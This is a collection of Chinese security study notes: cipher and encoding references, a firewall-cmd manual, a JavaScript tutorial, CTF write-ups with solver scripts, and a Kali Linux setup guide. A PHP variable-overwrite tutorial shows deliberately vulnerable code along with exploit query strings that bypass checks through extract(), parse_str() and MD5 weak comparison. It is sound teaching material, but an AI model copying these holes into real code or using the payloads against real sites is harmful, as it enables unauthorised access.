用手机键盘表示就是:7382,那么这里就可以知道了,手机键盘加密方式不可能用 1 开头,第二位数字不可能超过 4 ##### 电脑键盘棋盘 电脑键盘棋盘加密,利用了电脑的棋盘方阵。 ##### 电脑键盘坐标 电脑键盘坐标加密,利用键盘上面的字母行和数字行来加密,例:bye 用电脑键盘 X轴Y轴 表示就是:351613 ##### 电脑键盘QWE 电脑键盘 QWE 加密法,就是用字母表替换键盘上面的排列顺序。 #### 01248密码 该密码又称为云影密码,使用 0,1,2,4,8 四个数字,其中 0 用来表示间隔,其他数字以加法可以表示出 如:28=10,124=7,18=9,再用 1->26 表示 A->Z。 ``` 8842101220480224404014224202480122 按照 0 来进行分割,如下 88421 8+8+4+2+1=23 W 122 1+2+2=5 E 48 4+8=12 L 2244 2+2+4+4=12 L 4 4 D 142242 1+4+2+2+4+2=15 O 248 2+4+8=14 N 122 1+2+2=5 E ``` --- #### 恩尼格玛密码 恩尼格玛密码机(德语:Enigma,又译哑谜机,或"谜"式密码机)是一种用于加密与解密文件的密码机.确切地说,恩尼格玛是对二战时期纳粹德国使用的一系列相似的转子机械加解密机器的统称,它包括了许多不同的型号,为密码学对称加密算法的流加密.详细工作原理参考 [维基百科](https://zh.wikipedia.org/wiki/%E6%81%A9%E5%B0%BC%E6%A0%BC%E7%8E%9B%E5%AF%86%E7%A0%81%E6%9C%BA) . **模拟软件** - https://enigmamuseum.com/ **在线工具** - https://www.wishingstarmoye.com/ctf/enigma --- #### 维吉尼亚密码 `Vigenere` 维吉尼亚密码(`Vigenère Cipher`)是在单一恺撒密码的基础上扩展出多表代换密码,根据密钥(当密钥长度小于明文长度时可以循环使用)来决定用哪一行的密表来进行替换,以此来对抗字频统计 **已知秘钥加密解密** > 明文: THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG > >> 密钥(循环使用,密钥越长相对破解难度越大): CULTURE > >> 加密过程:如果第一行为明文字母,第一列为密钥字母,那么明文字母'T'列和密钥字母'C'行的交点就是密文字母'V',以此类推. > > 密文: VBP JOZGM VCHQE JQR UNGGW QPPK NYI NUKR XFK **未知秘钥破解** 破解维吉尼亚密码第一步是确定密钥长度,在确定密钥长度后就可以尝试确定密钥,通常我们可以使用 卡方检验 来找到每个字母的偏移量 /////[URL](http://www.practicalcryptography.com/cryptanalysis/stochastic-searching/cryptanalysis-vigenere-cipher/)///// **变种** `Gronsfeld` 有几种密码和维吉尼亚密码相似,格罗斯费尔德密码(`Gronsfeld cipher`)实际上和维吉尼亚密码相同,除了使用了数字来代替字母以外没有什么区别.数字可以选择一种数列,如斐波那契数列,或者一些其他的伪随机序列.格罗斯费尔德密码密码分析过程和维吉尼亚密码大同小异,不过,自动密钥密码不能使用 卡西斯基算法 (kasiski)来破译,因为自动密钥密码的密钥不重复循环使用,破译自动密钥密码最好的方法的就是从密文不断尝试和猜测其中明文或密钥的一部分. **在线工具** - https://planetcalc.com/2468/ - [Vigenere Solver](https://guballa.de/vigenere-solver) --- #### 猪圈密码 猪圈密码(Pigpen Cipher或称九宫格密码、朱高密码、共济会密码或共济会员密码),是一种以格子为基础的简单替代式密码. 变种 圣堂武士密码(Templar Cipher)是共济会的"猪圈密码"的一个变种,一直被共济会圣殿骑士用. **OTHER CIPHER** **在线工具** - http://www.simonsingh.net/The_Black_Chamber/pigpen.html #### 跳舞小人加密 来自夏洛克福尔摩斯在《归来记》中侦探案件使用的一种加密方式。 --- ## 其他编码/语言 ### Brainfuck/Ook **在线工具** - http://esoteric.sange.fi/brainfuck/impl/interp/i.html - https://www.nayuki.io/page/brainfuck-interpreter-javascript - https://www.splitbrain.org/services/ook - http://bf.doleczek.pl/ **相关模块** - [pocmo/Python-Brainfuck](https://github.com/pocmo/Python-Brainfuck) ### JSfuck **在线工具** - http://discogscounter.getfreehosting.co.uk/js-noalnum.php - http://www.jsfuck.com/ ### JJEncode 将JavaScript代码转换成只有符号的字符串编码。 **在线工具** - http://www.atoolbox.net/Tool.php?Id=704 ### PPEncode PPEncode可以把Perl代码转换成只有英文字母的字符串。 **在线工具** - http://www.atoolbox.net/Tool.php?Id=719 ### AAEncode/颜文字加密 **在线工具** - https://cat-in-136.github.io/2010/12/aadecode-decode-encoded-as-aaencode.html - http://utf-8.jp/public/aaencode.html ### 与佛论禅 **在线工具** - http://www.keyfc.net/bbs/tools/tudoucode.aspx ### 文本加密为汉字 **在线工具** - http://www.qqxiuzi.cn/bianma/wenbenjiami.php ### 随机密码生成 **在线工具** - https://utils.chrisyue.com/password-generator/ ### 核心价值观加密 **在线工具** - https://sym233.github.io/core-values-encoder/ ### 蝌蚪文 **在线工具** - http://www.megaemoji.com/cn/generators/tadpole/ ### whitespace **在线工具** - http://vii5ard.github.io/whitespace/ ### 音符加密 **在线工具** - https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=yinyue ### 盲文对照 **在线工具** - https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=mangwen ### 五笔编码 **在线工具** - https://www.qqxiuzi.cn/bianma/wubi.php ### 中文电码 **在线工具** - http://code.mcdvisa.com/ ### LOGO语言 **在线工具** - https://f1aa.com/logo/jslogo/index.html?lang=cn ### Dissection-Font **在线工具** - [Dissection Font](http://erikdemaine.org/fonts/dissect/) ### 文言文编程语言 - [wenyan-lang/wenyan](https://github.com/wenyan-lang/wenyan) - https://ide.wy-lang.org/ ### 威妥玛拼音 **在线工具** - [威妥玛拼音转换](https://www.chineseconverter.com/zh-cn/convert/wade-giles-to-chinese) ### 时间戳 **相关文章** - [10位时间戳和13位时间戳](https://segmentfault.com/a/1190000022666565) **在线工具** - [时间戳(Unix timestamp)转换工具](https://tool.lu/timestamp/) - https://www.bejson.com/convert/unix/
sec-knowleage
firewall-cmd === Linux上新用的防火墙软件,跟iptables差不多的工具 ## 补充说明 firewall-cmd 是 firewalld的字符界面管理工具,firewalld是centos7的一大特性,最大的好处有两个:支持动态更新,不用重启服务;第二个就是加入了防火墙的“zone”概念。 firewalld跟iptables比起来至少有两大好处: 1. firewalld可以动态修改单条规则,而不需要像iptables那样,在修改了规则后必须得全部刷新才可以生效。 2. firewalld在使用上要比iptables人性化很多,即使不明白“五张表五条链”而且对TCP/IP协议也不理解也可以实现大部分功能。 firewalld自身并不具备防火墙的功能,而是和iptables一样需要通过内核的netfilter来实现,也就是说firewalld和 iptables一样,他们的作用都是用于维护规则,而真正使用规则干活的是内核的netfilter,只不过firewalld和iptables的结 构以及使用方法不一样罢了。 **命令格式** ```shell firewall-cmd [选项 ... ] ``` ### 选项 通用选项 ```shell -h, --help # 显示帮助信息; -V, --version # 显示版本信息. (这个选项不能与其他选项组合); -q, --quiet # 不打印状态消息; ``` 状态选项 ```shell --state # 显示firewalld的状态; --reload # 不中断服务的重新加载; --complete-reload # 中断所有连接的重新加载; --runtime-to-permanent # 将当前防火墙的规则永久保存; --check-config # 检查配置正确性; ``` 日志选项 ```shell --get-log-denied # 获取记录被拒绝的日志; --set-log-denied=<value> # 设置记录被拒绝的日志,只能为 'all','unicast','broadcast','multicast','off' 其中的一个; ``` ### 实例 ```shell # 安装firewalld yum install firewalld firewall-config systemctl start firewalld # 启动 systemctl stop firewalld # 停止 systemctl enable firewalld # 启用自动启动 systemctl disable firewalld # 禁用自动启动 systemctl status firewalld # 或者 firewall-cmd --state 查看状态 # 关闭服务的方法 # 你也可以关闭目前还不熟悉的FirewallD防火墙,而使用iptables,命令如下: systemctl stop firewalld systemctl disable firewalld yum install iptables-services systemctl start iptables systemctl enable iptables ``` 配置firewalld ```shell firewall-cmd --version # 查看版本 firewall-cmd --help # 查看帮助 # 查看设置: firewall-cmd --state # 显示状态 firewall-cmd --get-active-zones # 查看区域信息 firewall-cmd --get-zone-of-interface=eth0 # 查看指定接口所属区域 firewall-cmd --panic-on # 拒绝所有包 firewall-cmd --panic-off # 取消拒绝状态 firewall-cmd --query-panic # 查看是否拒绝 firewall-cmd --reload # 更新防火墙规则 firewall-cmd --complete-reload # 两者的区别就是第一个无需断开连接,就是firewalld特性之一动态添加规则,第二个需要断开连接,类似重启服务 # 将接口添加到区域,默认接口都在public firewall-cmd --zone=public --add-interface=eth0 # 永久生效再加上 --permanent 然后reload防火墙 # 设置默认接口区域,立即生效无需重启 firewall-cmd --set-default-zone=public # 查看所有打开的端口: firewall-cmd --zone=dmz --list-ports # 加入一个端口到区域: firewall-cmd --zone=dmz --add-port=8080/tcp # 若要永久生效方法同上 # 打开一个服务,类似于将端口可视化,服务需要在配置文件中添加,/etc/firewalld 目录下有services文件夹,这个不详细说了,详情参考文档 firewall-cmd --zone=work --add-service=smtp # 移除服务 firewall-cmd --zone=work --remove-service=smtp # 显示支持的区域列表 firewall-cmd --get-zones # 设置为家庭区域 firewall-cmd --set-default-zone=home # 查看当前区域 firewall-cmd --get-active-zones # 设置当前区域的接口 firewall-cmd --get-zone-of-interface=enp03s # 显示所有公共区域(public) firewall-cmd --zone=public --list-all # 临时修改网络接口(enp0s3)为内部区域(internal) firewall-cmd --zone=internal --change-interface=enp03s # 永久修改网络接口enp03s为内部区域(internal) firewall-cmd --permanent --zone=internal --change-interface=enp03s ``` 服务管理 ```shell # 显示服务列表 Amanda, FTP, Samba和TFTP等最重要的服务已经被FirewallD提供相应的服务,可以使用如下命令查看: firewall-cmd --get-services # 允许SSH服务通过 firewall-cmd --new-service=ssh # 禁止SSH服务通过 firewall-cmd --delete-service=ssh # 打开TCP的8080端口 firewall-cmd --enable ports=8080/tcp # 临时允许Samba服务通过600秒 firewall-cmd --enable service=samba --timeout=600 # 显示当前服务 firewall-cmd --list-services # 添加HTTP服务到内部区域(internal) firewall-cmd --permanent --zone=internal --add-service=http firewall-cmd --reload # 在不改变状态的条件下重新加载防火墙 ``` 端口管理 ```shell # 打开443/TCP端口 firewall-cmd --add-port=443/tcp # 永久打开3690/TCP端口 firewall-cmd --permanent --add-port=3690/tcp # 永久打开端口好像需要reload一下,临时打开好像不用,如果用了reload临时打开的端口就失效了 # 其它服务也可能是这样的,这个没有测试 firewall-cmd --reload # 查看防火墙,添加的端口也可以看到 firewall-cmd --list-all ``` 直接模式 ```shell # FirewallD包括一种直接模式,使用它可以完成一些工作,例如打开TCP协议的9999端口 firewall-cmd --direct -add-rule ipv4 filter INPUT 0 -p tcp --dport 9000 -j ACCEPT firewall-cmd --reload ``` **自定义服务管理** 选项 ```shell (末尾带有 [P only] 的话表示该选项除了与(--permanent)之外,不能与其他选项一同使用!) --new-service=<服务名> 新建一个自定义服务 [P only] --new-service-from-file=<文件名> [--name=<服务名>] 从文件中读取配置用以新建一个自定义服务 [P only] --delete-service=<服务名> 删除一个已存在的服务 [P only] --load-service-defaults=<服务名> Load icmptype default settings [P only] --info-service=<服务名> 显示该服务的相关信息 --path-service=<服务名> 显示该服务的文件的相关路径 [P only] --service=<服务名> --set-description=<描述> 给该服务设置描述信息 [P only] --service=<服务名> --get-description 显示该服务的描述信息 [P only] --service=<服务名> --set-short=<描述> 给该服务设置一个简短的描述 [P only] --service=<服务名> --get-short 显示该服务的简短描述 [P only] --service=<服务名> --add-port=<端口号>[-<端口号>]/<protocol> 给该服务添加一个新的端口(端口段) [P only] --service=<服务名> --remove-port=<端口号>[-<端口号>]/<protocol> 从该服务上移除一个端口(端口段) [P only] --service=<服务名> --query-port=<端口号>[-<端口号>]/<protocol> 查询该服务是否添加了某个端口(端口段) [P only] --service=<服务名> --get-ports 显示该服务添加的所有端口 [P only] --service=<服务名> --add-protocol=<protocol> 为该服务添加一个协议 [P only] --service=<服务名> --remove-protocol=<protocol> 从该服务上移除一个协议 [P only] --service=<服务名> --query-protocol=<protocol> 查询该服务是否添加了某个协议 [P only] --service=<服务名> --get-protocols 显示该服务添加的所有协议 [P only] --service=<服务名> --add-source-port=<端口号>[-<端口号>]/<protocol> 添加新的源端口(端口段)到该服务 [P only] --service=<服务名> --remove-source-port=<端口号>[-<端口号>]/<protocol> 从该服务中删除源端口(端口段) [P only] --service=<服务名> --query-source-port=<端口号>[-<端口号>]/<protocol> 查询该服务是否添加了某个源端口(端口段) [P only] --service=<服务名> --get-source-ports 显示该服务所有源端口 [P only] --service=<服务名> --add-module=<module> 为该服务添加一个模块 [P only] --service=<服务名> --remove-module=<module> 为该服务移除一个模块 [P only] --service=<服务名> --query-module=<module> 查询该服务是否添加了某个模块 [P only] --service=<服务名> --get-modules 显示该服务添加的所有模块 [P only] --service=<服务名> --set-destination=<ipv>:<address>[/<mask>] Set destination for ipv to address in service [P only] --service=<服务名> --remove-destination=<ipv> Disable destination for ipv i service [P only] --service=<服务名> --query-destination=<ipv>:<address>[/<mask>] Return whether destination ipv is set for service [P only] --service=<服务名> --get-destinations List destinations in service [P only] ``` **控制端口 / 服务** 可以通过两种方式控制端口的开放,一种是指定端口号另一种是指定服务名。虽然开放 http 服务就是开放了 80 端口,但是还是不能通过端口号来关闭,也就是说通过指定服务名开放的就要通过指定服务名关闭;通过指定端口号开放的就要通过指定端口号关闭。还有一个要注意的就是指定端口的时候一定要指定是什么协议,tcp 还是 udp。知道这个之后以后就不用每次先关防火墙了,可以让防火墙真正的生效。 ```shell firewall-cmd --add-service=mysql # 开放mysql端口 firewall-cmd --remove-service=http # 阻止http端口 firewall-cmd --list-services # 查看开放的服务 firewall-cmd --add-port=3306/tcp # 开放通过tcp访问3306 firewall-cmd --remove-port=80tcp # 阻止通过tcp访问3306 firewall-cmd --add-port=233/udp # 开放通过udp访问233 firewall-cmd --list-ports # 查看开放的端口 ``` 伪装 IP ```shell firewall-cmd --query-masquerade # 检查是否允许伪装IP firewall-cmd --add-masquerade # 允许防火墙伪装IP firewall-cmd --remove-masquerade# 禁止防火墙伪装IP ``` **端口转发** 端口转发可以将指定地址访问指定的端口时,将流量转发至指定地址的指定端口。转发的目的如果不指定 ip 的话就默认为本机,如果指定了 ip 却没指定端口,则默认使用来源端口。 如果配置好端口转发之后不能用,可以检查下面两个问题: 1. 比如我将 80 端口转发至 8080 端口,首先检查本地的 80 端口和目标的 8080 端口是否开放监听了 2. 其次检查是否允许伪装 IP,没允许的话要开启伪装 IP ```shell firewall-cmd --add-forward-port=port=80:proto=tcp:toport=8080 # 将80端口的流量转发至8080 firewall-cmd --add-forward-port=port=80:proto=tcp:toaddr=192.168.0.1 # 将80端口的流量转发至192.168.0.1 firewall-cmd --add-forward-port=port=80:proto=tcp:toaddr=192.168.0.1:toport=8080 # 将80端口的流量转发至192.168.0.1的8080端口 ``` 1. 当我们想把某个端口隐藏起来的时候,就可以在防火墙上阻止那个端口访问,然后再开一个不规则的端口,之后配置防火墙的端口转发,将流量转发过去。 2. 端口转发还可以做流量分发,一个防火墙拖着好多台运行着不同服务的机器,然后用防火墙将不同端口的流量转发至不同机器。
sec-knowleage
--- title: let --- ## Let 语句 **let**(声明变量)声明一个块级作用域的本地变量,并且可选的将其初始化为一个值。 let允许你声明一个作用域被限制在块级中的变量、语句或者表达式。与var关键字不同的是,var声明的变量只能是全局或者整个函数块的。 ### 块级作用域 let实际上为 JavaScript 新增了块级作用域。 (let被限制在大括号里{}) ``` function f1() { let n = 5; if (true) { let n = 10; } console.log(n); // 5 } ``` let声明的变量只在它所在的代码块有效 ```es6 { let a = 10; var b = 1; } a // ReferenceError: a is not defined. b // 1 ``` ES6 允许块级作用域的任意嵌套且外层作用域无法读取内层作用域的变量 ``` { { {let insane = 'Hello World'} console.log(insane); // 报错 } }; ``` 内层作用域可以定义外层作用域的同名变量 ``` { let insane = 'Hello World'; {let insane = 'Hello World'} }; ``` ### 不存在变量提升 ``` // var 的情况 console.log(foo); // 输出undefined var foo = 2; // let 的情况 console.log(bar); // 报错ReferenceError let bar = 2; ``` ### 暂时性死区 ``` if (true) { // TDZ开始 tmp = 'abc'; // ReferenceError console.log(tmp); // ReferenceError let tmp; // TDZ结束 console.log(tmp); // undefined tmp = 123; console.log(tmp); // 123 } ``` ### 不允许重复声明 let不允许在相同作用域内,重复声明同一个变量。 ``` function () { let a = 10; var a = 1; } // 报错 function () { let a = 10; let a = 1; } // 报错 ``` 因此,不能在函数内部重新声明参数。 ``` function func(arg) { let arg; // 报错 } function func(arg) { { let arg; // 不报错 } } ```
sec-knowleage
# Constellation (misc, 200p) In the task we get a [pcap](traffic.pcap) and some [python code](proc.py). In the traffic dump we can notice that ICMP packets carry some data which look like points coordinates so we dump [them](points.txt). The python code performs some clustering of the points and draws a chart. But the clustering makes little sense, since the points are quite close to one another, and DBSCAN parameters are set so high that all points would fall into the same cluster anyway. Therefore we simply plotted the points directly, to get: ![](plot.png) The task said something about doing "the opposite", and using what we see as contents of the flag. The picture clearly shows `FLAG:1` in reverse, and the final flag was `TMCTF{flag:1}`
sec-knowleage
import string code = open("priner.tb").read().strip().split(" ") pointer = 0 memory = [0, 0, 0] alphabet = " " + string.uppercase res = "" for instruction in code: print memory, "Pointer:", pointer print "Executing:", instruction if instruction == "%%": pointer = 0 elif instruction == "#%": memory = [1, 1, 1] elif instruction == "##": memory = [0, 0, 0] elif instruction == "%#": pointer += 1 elif instruction == "%++": memory[pointer] += 1 elif instruction[0] == "@": mem = memory[len(instruction) - 2] c = alphabet[mem] res += c print "WHOLE OUTPUT:", res elif "-" in instruction: ins = instruction.split("-") lt = len(ins[0]) - 1 rt = len(ins[1]) - 1 memory[pointer] = memory[lt] - memory[rt] elif "+" in instruction: ins = instruction.split("+") lt = len(ins[0]) - 1 rt = len(ins[1]) - 1 memory[pointer] = memory[lt] + memory[rt] elif "&" in instruction: ins = instruction.split("&") lt = len(ins[0]) - 1 rt = len(ins[1]) - 1 memory[pointer] = memory[lt] * memory[rt] else: print "Unknown instruction encountered: ", instruction print ""
sec-knowleage
s7 = [int(c, 16) for c in open("s7").read().split()] s17 = [int(c, 16) for c in open("s17").read().split()] s17 = s17[1::2] inverse = [0] * 256 for i, j in enumerate(s17): inverse[j] = i print(s7) print(s17) print(inverse) for potential_sum in range(256*len(s7)): flag = [] for ch in s7: for i in range(potential_sum): ch = inverse[ch] flag.append(ch) sm = sum(flag) if sm == potential_sum: print(flag) else: if potential_sum % 50 == 0: print(potential_sum, sm)
sec-knowleage
# 变量覆盖 --- **相关文章 & Source & Reference** - https://www.mi1k7ea.com/2019/06/20/PHP%E5%8F%98%E9%87%8F%E8%A6%86%E7%9B%96%E6%BC%8F%E6%B4%9E/ - https://www.jianshu.com/p/a4d782e91852 --- ## $$导致的变量覆盖问题 **$$介绍** $$这种写法称为可变变量 一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。 ```php <?php $a = "hello"; echo "$a"; //输出hello $a="world"; echo "$a"; //输出hello echo "$$a"; //输出word echo "$a ${$a}"; //输出hello world echo "$a $hello"; //输出hello world ?> ``` **漏洞产生** 使用 foreach 来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。因此就产生了变量覆盖漏洞。 例如 ```php <?php foreach ($_GET as $key => $value) { ${$key} = $value; } echo $a; ?> ``` get 得到的数据 $key 和 $value, 关键第 3 行,${$key} 用 get 传进来的 $key 做为新的变量, 将 get 传进来的 $value 赋值给它。 get ?a=1 第 3 行会解析为 $a=1。就造成了变量覆盖。 --- ## extract()函数使用不当 extract()函数从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。 `extract(array &$array, int $flags = EXTR_OVERWRITE, string $prefix = ""): int` 第一个参数是必须的,会不会导致变量覆盖漏洞由第二个参数决定,该函数有三种情况会覆盖已有变量。 例如 ```php <?php $a = 1; //原变量值为1 $b = array('a' => '3'); extract($b); //经过extract()函数对$b处理后 echo $a; //输出结果为3 ?> ``` 又例如 ```php <?php $a = "0"; extract($_GET); if ($a == 1) { echo "Hacked!"; } else { echo "Hello!"; } ?> ``` ?a=1 就可以覆盖 a 例题 ```php extract($_GET); if(isset($bdctf)) { $content=trim(file_get_contents($flag)); //file_get_contents—将整个文件读入一个字符串 if($bdctf==$content) //trim—去除字符串首尾处的空白字符(或者其他字符) { echo'bdctf{**********}'; } else { echo'这不是蓝盾的密码啊'; } } ``` 题目使用了 `extract($_GET)` 接收了 GET 请求中的数据,并将键名和键值转换为变量名和变量的值,然后再进行两个 if 的条件判断,所以可以使用 GET 提交参数和值,利用 extract() 对变量进行覆盖,从而满足各个条件。 使 $bdctf 与 $content 都为空或者不存在就满足 $bdctf==$content get `?flag=&bdctf=` 得到 flag --- ## parse_str()函数使用不当 `parse_str(string $string, array &$result): void` 如果未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量。 php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。 parse_str 函数的作用就是解析字符串并注册成变量,在注册变量之前不会验证当前变量是否存在,所以直接覆盖掉已有变量 例如 ```php <?php $a = 1; //原变量值为1 parse_str('a=2'); //经过parse_str()函数后注册变量$a,重新赋值 print_r($a); //输出结果为2 ?> ``` 例题 ```php <?php error_reporting(0); if( empty($_GET['id'])) { //empty()检查是否为空 show_source(__FILE__); //highlight_file—语法高亮一个文件 die(); //等同于exit—输出一个消息并且退出当前脚本 } else { include (‘flag.php’); $a = "test"; $id = $_GET['id']; @parse_str($id); if ($a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’)) { echo $flag; } else { exit(‘其实很简单其实并不难!’); } } ?> ``` PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。 这里其实利用了弱类型的知识点 使用get请求 `?id=a[0]=s878926199a` 得到flag --- ## mb_parse_str()变量覆盖 mb_parse_str()函数用于解析GET/POST/COOKIE数据并设置全局变量,和parse_str()类似: ```php <?php $a = 'oop'; mb_parse_str($_SERVER["QUERY_STRING"]); if ($a == 'test') { echo "Hacked!"; } else { echo "Hello!"; } ?> ``` --- ## register_globals全局变量覆盖 > 注:register_globals 已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。 php.ini 中有一项为 register_globals,即注册全局变量,当 register_globals=On 时,传递过来的值会被直接的注册为全局变量直接使用,而 register_globals=Off 时,我们需要到特定的数组里去得到它。 当register_globals=On,变量未被初始化且能够用户所控制时,就会存在变量覆盖漏洞: ```php <?php echo "Register_globals: " . (int)ini_get("register_globals") . "<br/>"; if ($a) { echo "Hacked!"; } ?> ``` 通过 GET 和 POST 方式输入变量 a 的值都可以覆盖 a 从 cookie 里也可以 --- ## import_request_variables()使用不当 > import_request_variables 好像比较难见到了 例如 ```php <?php $auth='0'; import_request_variables('G'); if($auth== 1){ echo"private!"; }else{ echo"public!"; } ?> ``` get auth=1时,网页上会输出private! import_request_variables('G')指定导入GET请求中的变量,从而导致变量覆盖
sec-knowleage
# Writeup 3DS CTF 2016 Team: msm, nazywam, c7f.m0d3, akrasuski, rev, psrok, shalom ### Table of contents * [rot13 (crypto 100)](crypto_100_rot13) * [merces (re 100)](re_100_merces) * [get started (pwn 100)](pwn_100_get_started) * [unbreakable (crypto 200)](crypto_200_unbreakable) * [what the hex (forensics 300)](for_300_whatthehex) * [fibonacci calls (ppc 400)](ppc_400_fibonacci) * [HALP (network 300)](net_300_halp)
sec-knowleage
# Kali <p align="center"> <img src="../../../assets/img/logo/kali.png" width="30%"> </p> --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **官网** - https://www.kali.org/downloads/ **教程 & Reference** - [Kali-learning-notes Wiki](https://github.com/Keybird0/Kali-learning-notes/wiki) - [Kali Linux 渗透测试的艺术(中文版)](https://jobrest.gitbooks.io/kali-linux-cn/content/table_of_contents.html) - [大学霸 Kali Linux 安全渗透教程](https://wizardforcel.gitbooks.io/daxueba-kali-linux-tutorial/content/) - [KaliLinux常见问题与解决方案](https://mp.weixin.qq.com/s/Nd-GiDnzk5lDg6g7MvRJhg) --- ## 基础配置 - [kali基础配置](https://github.com/ffffffff0x/AboutSecurity/blob/master/VPS/Kali.md) --- ## 软件配置 ### apt **换源** ```bash # apt 换源 tee /etc/apt/sources.list <<-'EOF' # 清华源 deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free # 官方源 deb http://http.kali.org/kali kali-rolling main non-free contrib deb-src http://http.kali.org/kali kali-rolling main non-free contrib # 中科大 deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib # 浙大 deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free EOF apt update ``` **更新系统** ```bash apt update && apt -y full-upgrade [ -f /var/run/reboot-required ] && reboot -f ``` ### 谷歌输入法 ```bash apt-get update && apt-get upgrade apt-get install -y fcitx apt-get install -y fcitx-googlepinyin reboot # 所有应用程序中选中 fcitx 输入法配置即可 ``` ### ncat ```bash apt install -y ncat update-alternatives --config nc 1 ``` ### Nessus 以安装 sc 版本为例,访问 https://www.tenable.com/downloads/nessus 下载安装包 我这里下的是 Nessus-8.8.0-ubuntu1110_amd64.deb ```bash dpkg -i Nessus-8.8.0-ubuntu1110_amd64.deb ``` 安装完成后 ```bash /etc/init.d/nessusd start # 开启 /etc/init.d/nessusd status # 查看状态 /etc/init.d/nessusd stop # 关闭 ``` 然后访问 https://127.0.0.1:8834 即可打开Nessus主页,一路配置安装版本,账号密码 如果下载插件出错,就安装离线包,访问 https://www.tenable.com/downloads/nessus 下载离线包 我这里下的是 nessus-updates-8.8.0.tar.gz,复制到目录 /opt/nessus/sbin/ 下 ```bash ./nessuscli update nessus-updates-8.8.0.tar.gz ./nessusd # 重新启动下 ``` **docker 部署** ```bash docker run -d -p 3443:3443 -p 8834:8834 --name bobohacker -it yakoazz/bobohacker ``` - nesss地址 : https://127.0.0.1:8443 账号密码 bobohacker/bobohacker - awvs地址 : https://127.0.0.1:3443 账号密码 bobo@hacker.com/B0bohacker - nessus 应用自启 awvs13 要 attach 到容器里面 root 目录下运行下 awvs.sh --- ### rdesktop kali 自带 ```bash rdesktop <目标IP> ``` --- ## 显示配置 **切换 undercover 模式** ```bash Kali Undercover Mode ``` **换界面显示语言** ```bash dpkg-reconfigure locales # 空格是选择,Tab是切换,*是选中 # 选中 en_US.UTF-8 和 zh_CN.UTF-8,确定后,将 en_US.UTF-8 选为默认,然后安装中文字体 ``` **如果界面出现乱码,安装中文字体** ```bash apt install -y xfonts-intl-chinese apt install -y ttf-wqy-microhei ttf-wqy-zenhei xfonts-wqy reboot ``` **修改时区** ```bash cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime ``` **kali 2020 添加 root 用户终端颜色** ```bash cd /home/kali # 切换到 kali 用户下 cp .bashrc /root # 将 kali 用户的 .bashrc 复制到 root 用户目录下 cd /root # 回到 root 用户目录下 cat .bashrc # 查看 .bashrc 文件是否被替换,若已替换则说明成功 source .bashrc # 终端颜色替换成功 ``` **kali2021** Kali 最新版本 2021 的默认 shell 是 zsh,如果要回退到 bash。可以参考官网的命令 chsh -s /bin/bash 执行命令后重启 --- ## 设备配置 ### 虚拟机驱动 #### vmtools ```bash tar zxvf vmtools.tar.gz -C /root cd /root/wmtools/ ./vmware-install.pl ``` #### virtualbox additions ```bash mkdir /media/VBox ls /media/VBox/ mount /dev/sr0 /media/VBox/ cd /media/VBox/ ls sh VBoxLinuxAdditions.run ``` --- ### 英伟达显卡驱动(物理机) #### 官方教程 网址 : https://www.kali.org/docs/general-use/install-nvidia-drivers-on-kali-linux/ ```bash apt update && apt dist-upgrade -y && reboot lspci -v apt install -y ocl-icd-libopencl1 nvidia-driver nvidia-cuda-toolkit # 安装OpenCL ICD加载程序,驱动程序和CUDA工具包. nvidia-smi # 验证是否安装成功 hashcat -I # 确保是否能和hashcat协同工作 hashcat -b # Benchmarking ``` 如若不成功,进行故障排除: ```bash apt install -y clinfo dpkg -l |grep -i icd ``` 如果安装了 mesa-opencl-icd: ```bash apt remove mesa-opencl-icd clinfo | grep -i "icd loader" nvidia-smi -i 0 -q # 查看详细信息 ``` 确认3D渲染是否启用: ```bash glxinfo | grep -i "direct rendering" direct rendering: Yes # 出现 yes 成功 ``` #### 第二种方法 ```bash apt-get update apt-get dist-upgrade apt-get install -y linux-headers-$(uname -r) apt-get install -y nvidia-kernel-dkms sed 's/quiet/quiet nouveau.modeset=0/g' -i /etc/default/grub update-grub reboot ``` 检测是否安装成功: ```bash glxinfo | grep -i "direct rendering" direct rendering: Yes # 出现 yes 安装成功 ``` 检测原本的 Oclhashcat-plus 是否运行正常: ```bash cd /usr/share/oclhashcat-plus/ ./cudaHashcat-plus.bin -t 32 -a 7 example0.hash ?a?a?a?a example.dict ``` --- ### 配置网卡 - WM Ware(开机后) 虚拟机->可移动设备->Ralink 802.11 n Wlan(显卡型号)->连接(断开与主机的连接) - VBox 虚拟机关机状态下->将设备插入主机->设置->USB 设备->添加->删除除了供应商标识(VendorID)和产品标识(ProductID)之外的参数->开机->插入设备 - 验证是否连接成功 ```bash lsusb airmon-ng iwconfig ``` 出现无线网卡型号即为成功 --- ### 配置蓝牙 查看usb设备 ```bash lsusb ``` 启动蓝牙服务 ```bash service bluetooth start ``` 激活蓝牙设备 ```bash hciconfig hci0 up # 激活蓝牙设备 hciconfig hci0 # 查看属性 ``` --- ## 用户管理 **kali 2020 版后使用 root 账号** 直接设置 root 密码 ``` sudo passwd root ``` --- ## 常见报错处理 - **W: 校验数字签名时出错。此仓库未被更新,所以仍然使用此前的索引文件。GPG 错误** ``` wget -q -O - https://archive.kali.org/archive-key.asc | 